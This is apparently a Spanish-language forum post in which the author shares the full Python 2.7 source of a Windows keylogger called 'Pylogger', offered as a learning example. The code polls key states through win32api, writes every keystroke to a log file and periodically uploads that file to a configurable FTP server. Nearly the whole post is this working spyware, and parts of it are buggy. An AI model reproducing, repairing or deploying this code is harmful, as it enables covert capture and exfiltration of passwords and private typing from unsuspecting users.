Saludos a toda la comunidad.
Hoy les traigo un keylogger que programe en python 2.7 usando win32api, funciona vía FTP, y reconoce mayusculas y minusculas.
El código es muy simple y lo aporto con la esperanza de que alguien pueda aprender algo de este versátil lenguaje.
La explicación esta en la descripción... Si tiene alguna duda pregunten!
COMENTEN y gracias!!.
Hoy les traigo un keylogger que programe en python 2.7 usando win32api, funciona vía FTP, y reconoce mayusculas y minusculas.
El código es muy simple y lo aporto con la esperanza de que alguien pueda aprender algo de este versátil lenguaje.
La explicación esta en la descripción... Si tiene alguna duda pregunten!
COMENTEN y gracias!!.
Código (python) [Seleccionar]
#******************************************#
# Pylogger @por WarZ0n3 #
#******************************************#
# Explicacion: #
# Pylogger funciona via FTP para poder #
# usarlo deben de tener su propio servidor #
# FTP ya sea casero. O en un Hosting... #
# Nota: tambien reconoce minusculas #
# mayusculas #
#******************************************#
# Configuracion y uso: #
# Pulsaciones : el numero de pulsaciones #
# que se cumpliran hasta enviarlo por FTP. #
# ftp_servidor: Tu servidor FTP. #
# ftp_user : Tu usuario. #
# ftp_pass : Tu contraseña. #
# logs : archivo en donde se guarda-#
# ran las pulsaciones(tambien puede ser #
# referido por ruta EJ: 'C/logs.txt' ) #
#******************************************#
# -*- coding: utf-8 -*-
# !usr/bin/python
import win32api, ftplib, os, sys
# __Variables__
global Ok
Ok = False
# CONFIGURACION #
pulsaciones= 55
ftp_servidor= 'ftp.tuserver.com'
ftp_user= 'usuario'
ftp_pass= 'pass'
logs= 'lg56.txt'
def __larc():
try:
l= open(logs, 'w').write('')
l.close()
Keylogger()
except: Keylogger()
def __cFTP():
f= ftplib.FTP(ftp_servidor, ftp_user, ftp_pass)
try:
fichero= open(logs, 'rb+')
f.storbinary('STOR'+ ' ' +logs, fichero)
print f.storbinary
f.close()
f.quit()
__larc()
except: __larc()
def __comp():
if os.path.isfile(logs):
tam = os.path.getsize(logs)
bytes = 1024
result = (tam<bytes and 'Bytes' or [(tam<bytes*1000 and 'KB' or [(tam<bytes*1000000 and 'MB' or 'GB')[0]])[0]][0])
if tam==pulsaciones:
__cFTP()
def Keylogger():
try:
while True:
fo= open(logs, 'a+')
for k in range(0, 256):
key= win32api.GetAsyncKeyState(k)
if key == -32767: # si es presionada
if k == 20:
global Ok
Ok = True
print "Mayus"
fo.write('(Mayus)')
if k == 20 and MON is True:
Ok= False
MON= Ok
if k == 81 and MON is False:
print "q"
fo.write('q')
if k == 81 and MON is True:
print "Q"
fo.write('Q')
if k == 87 and MON is False:
print "w"
fo.write('w')
if k == 87 and MON is True:
print "W"
fo.write('W')
if k == 69 and MON is False:
print "e"
fo.write('e')
if k == 69 and MON is True:
print "E"
fo.write('E')
if k == 82 and MON is False:
print "r"
fo.write('r')
if k == 82 and MON is True:
print "R"
fo.write('R')
if k == 84 and MON is False:
print "t"
fo.write('t')
if k == 84 and MON is True:
print "T"
fo.write('T')
if k == 89 and MON is False:
print "y"
fo.write('y')
if k == 89 and MON is True:
print "Y"
fo.write('Y')
if k == 85 and MON is False:
print "u"
fo.write('u')
if k == 85 and MON is True:
print "U"
fo.write('U')
if k == 73 and MON is False:
print "i"
fo.write('i')
if k == 73 and MON is True:
print "I"
fo.write('I')
if k == 79 and MON is False:
print "o"
fo.write('o')
if k == 79 and MON is True:
print "O"
fo.write('O')
if k == 80 and MON is False:
print "p"
fo.write('p')
if k == 80 and MON is True:
print "P"
fo.write('P')
if k == 65 and MON is False:
print "a"
fo.write('a')
if k == 65 and MON is True:
print "A"
fo.write('A')
if k == 83 and MON is False:
print "s"
fo.write('s')
if k == 83 and MON is True:
print "S"
fo.write('S')
if k == 68 and MON is False:
print "d"
fo.write('d')
if k == 68 and MON is True:
print "D"
fo.write('D')
if k == 70 and MON is False:
print "f"
fo.write('f')
if k == 70 and MON is True:
print "F"
fo.write('F')
if k == 71 and MON is False:
print "g"
fo.write('g')
if k == 71 and MON is True:
print "G"
fo.write('G')
if k == 72 and MON is False:
print "h"
fo.write('h')
if k == 72 and MON is True:
print "H"
fo.write('H')
if k == 74 and MON is False:
print "j"
fo.write('j')
if k == 74 and MON is True:
print "J"
fo.write('J')
if k == 75 and MON is False:
print "k"
fo.write('k')
if k == 75 and MON is True:
print "K"
fo.write('K')
if k == 76 and MON is False:
print "l"
fo.write('l')
if k == 76 and MON is True:
print "L"
fo.write('L')
if k == 90 and MON is False:
print "z"
fo.write('z')
if k == 90 and MON is True:
print "Z"
fo.write('Z')
if k == 88 and MON is False:
print "x"
fo.write('x')
if k == 88 and MON is True:
print "X"
fo.write('X')
if k == 67 and MON is False:
print "c"
fo.write('c')
if k == 67 and MON is True:
print "C"
fo.write('C')
if k == 86 and MON is False:
print "v"
fo.write('v')
if k == 86 and MON is True:
print "V"
fo.write('V')
if k == 66 and MON is False:
print "b"
fo.write('b')
if k == 66 and MON is True:
print "B"
fo.write('B')
if k == 78 and MON is False:
print "n"
fo.write('n')
if k == 78 and MON is True:
print "N"
fo.write('N')
if k == 77 and MON is False:
print "m"
fo.write('m')
if k == 77 and MON is True:
print "M"
fo.write('M')
if k == 48: print "0" , fo.write('0')
if k == 49: print "1" , fo.write('1')
if k == 50: print "2" , fo.write('2')
if k == 51: print "3" , fo.write('3')
if k == 52: print "4" , fo.write('4')
if k == 53: print "5" , fo.write('5')
if k == 54: print "6" , fo.write('6')
if k == 55: print "7" , fo.write('7')
if k == 56: print "8" , fo.write('8')
if k == 57: print "9" , fo.write('9')
if k == 226: print "<" , fo.write('<')
if k == 219: print "'" , fo.write("'")
if k == 221: print "¡" , fo.write('¡')
if k == 222: print "Ž" , fo.write('ŽŽ')
if k == 220: print "º" , fo.write('º')
if k == 186: print "`" , fo.write('``')
if k == 187: print "+" , fo.write('+')
if k == 191: print "ç" , fo.write('ç')
if k == 189: print "-" , fo.write('-')
if k == 190: print "." , fo.write('.')
if k == 188: print "," , fo.write(',')
#if k == 2: print "Click_D" , fo.write('(Click_D)')
#if k == 1: print "Click_I" , fo.write('(Click_I)')
if k == 27: print "Esc" , fo.write('(Esc)')
if k == 8: print "Back" , fo.write('(Back)')
if k == 91: print "Windows_I" , fo.write('(Windows_I)')
if k == 92: print "Windows_D" , fo.write('(Windows_D)')
if k == 93: print "Command" , fo.write('(Command)')
if k == 144: print "BloqNum" , fo.write('(BloqNum)')
if k == 145: print "BloqDespl" , fo.write('(BloqDespl)')
if k == 32: print "Space" , fo.write('(Space)')
if k == 9: print "TAB" , fo.write('(TAB)')
if k == 45: print "Insert" , fo.write('(Insert)')
if k == 17: print "Ctrl" , fo.write('(Ctrl)')
if k == 18: print "Alt" , fo.write('(Alt)')
if k == 13: print "Enter" , fo.write('(Enter)')
if k == 16: print "Shift" , fo.write('(Shift)')
if k == 39: print "RIGHT" , fo.write('(RIGHT)')
if k == 38: print "UP" , fo.write('(UP)')
if k == 37: print "LEFT" , fo.write('(LEFT)')
if k == 40: print "DOWN" , fo.write('(DOWN)')
if k == 36: print "Inicio" , fo.write('(Inicio)')
if k == 35: print "Fin" , fo.write('(Fin)')
if k == 34: print "AvPag" , fo.write('(AvPag)')
if k == 33: print "RePag" , fo.write('(RePag)')
if k == 44: print "ImprPantPetSis" , fo.write('(ImprPantPetSis)')
if k == 46: print "Supr" , fo.write('(Supr)')
if k == 96: print "KPAD_0" , fo.write('(KPAD_0)')
if k == 97: print "KPAD_1" , fo.write('(KPAD_1)')
if k == 98: print "KPAD_2" , fo.write('(KPAD_2)')
if k == 99: print "KPAD_3" , fo.write('(KPAD_3)')
if k == 100: print "KPAD_4" , fo.write('(KPAD_4)')
if k == 101: print "KPAD_5" , fo.write('(KPAD_5)')
if k == 102: print "KPAD_6" , fo.write('(KPAD_6)')
if k == 103: print "KPAD_7" , fo.write('(KPAD_7)')
if k == 104: print "KPAD_8" , fo.write('(KPAD_8)')
if k == 105: print "KPAD_9" , fo.write('(KPAD_9)')
if k == 106: print "KPAD_*" , fo.write('(KPAD_*)')
if k == 107: print "KPAD_+" , fo.write('(KPAD_+)')
if k == 109: print "KPAD_-" , fo.write('(KPAD_-)')
if k == 110: print "KPAD_." , fo.write('(KPAD_.)')
if k == 111: print "KPAD_/" , fo.write('(KPAD_/)')
if k == 112: print "F1" , fo.write('(F1)')
if k == 113: print "F2" , fo.write('(F2)')
if k == 114: print "F3" , fo.write('(F3)')
if k == 115: print "F4" , fo.write('(F4)')
if k == 116: print "F5" , fo.write('(F5)')
if k == 117: print "F6" , fo.write('(F6)')
if k == 118: print "F7" , fo.write('(F7)')
if k == 119: print "F8" , fo.write('(F8)')
if k == 120: print "F9" , fo.write('(F9)')
if k == 121: print "F10" , fo.write('(F10)')
if k == 122: print "F11" , fo.write('(F11)')
if k == 123: print "F12" , fo.write('(F12)')
__comp()
except KeyboardInterrupt: Keylogger()
Keylogger()